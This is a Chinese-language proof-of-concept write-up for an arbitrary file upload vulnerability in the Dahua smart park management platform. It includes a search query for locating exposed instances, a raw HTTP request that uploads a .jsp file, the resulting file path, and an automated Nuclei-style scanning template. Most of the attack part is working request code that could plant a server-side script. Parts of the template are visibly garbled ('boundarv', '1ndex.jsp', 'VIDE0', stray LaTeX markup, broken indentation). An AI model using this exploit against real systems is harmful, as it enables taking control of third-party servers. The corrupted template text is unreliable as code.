D2-7大华-智慧园区综合管理平台-文件上传

漏洞描述:

大华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台,旨在为园区提供一站式解决方案,包括安防、能源管理、环境监测、人员管理、停车管理等多个方面。 大华智慧园区综合管理平台存在文件上传漏洞,攻击者可以通过请求publishing/publishing/material/file/video接口任意上传文件,导致系统被攻击与控制。

网站图片:

网络测绘:

Hunter 语法:

hunter:app.name="Dahua 大华 智慧园区管理平台"

漏洞复现:

payload:

```
POST /publishing/publishing/material/file/video HTTP/1.1
Content-Type: multipart/form-data; boundary=00content0boundary00
User-Agent: Java/1.8.0_381
Host: xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 287
--00content0boundary00
Content-Disposition: form-data; name="Filedata"; filename="lndex.jsp"
test
--00content0boundary00
Content-Disposition: form-data; name="file"
file
--00content0boundary00
Content-Disposition: form-data; name="Submit"
submit
--00content0boundary00--
```

效果图:

上传文件位置:

 $\verb|https://xx.xx.xx/publishingImg/VIDEO/230812162057144051.jsp|$

Yaml模板

```
id: custom-file-upload-test
info:
 name: Test File Upload and Retrieve
 author: your_name
 severity: high
 description: Checks for unrestricted file upload and retrieval on /publishing/publishing/material/file/video endpoint.
requests:
  - raw:
       POST /publishing/publishing/material/file/video HTTP/1.1
       Host: {{Hostname}}
       Content-Type: multipart/form-data; boundary=00content0boundary00
       User-Agent: Java/1.8.0 381
       Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
       Connection: close
       Content-Length: 287
        --00content0boundarv00
       Content-Disposition: form-data; name="Filedata"; filename="1ndex.jsp"
       test
        --00content0boundary00
       Content-Disposition: form-data; name="file"
```

```
file
      --00content0boundary00
      Content-Disposition: form-data; name="Submit"
      --00content0boundary00--
 matchers-condition: and
 matchers:
    - type: word
     words:
- '"success":true'
     part: body
    - type: status
    status:
        - 200
   - type: regex
     regex:
- '"path":"(VIDE0/[0-9]+\.jsp)"'
      part: body
      group: 1
- method: GET
 path:
   - "{{BaseURL}}/{{output}}"
  redirects: false
 {\tt matchers-condition:} \ {\tt and} \\
 matchers:
   - type: word
    words:
- "test"
part: body
    - type: status
     status:
        - 200
```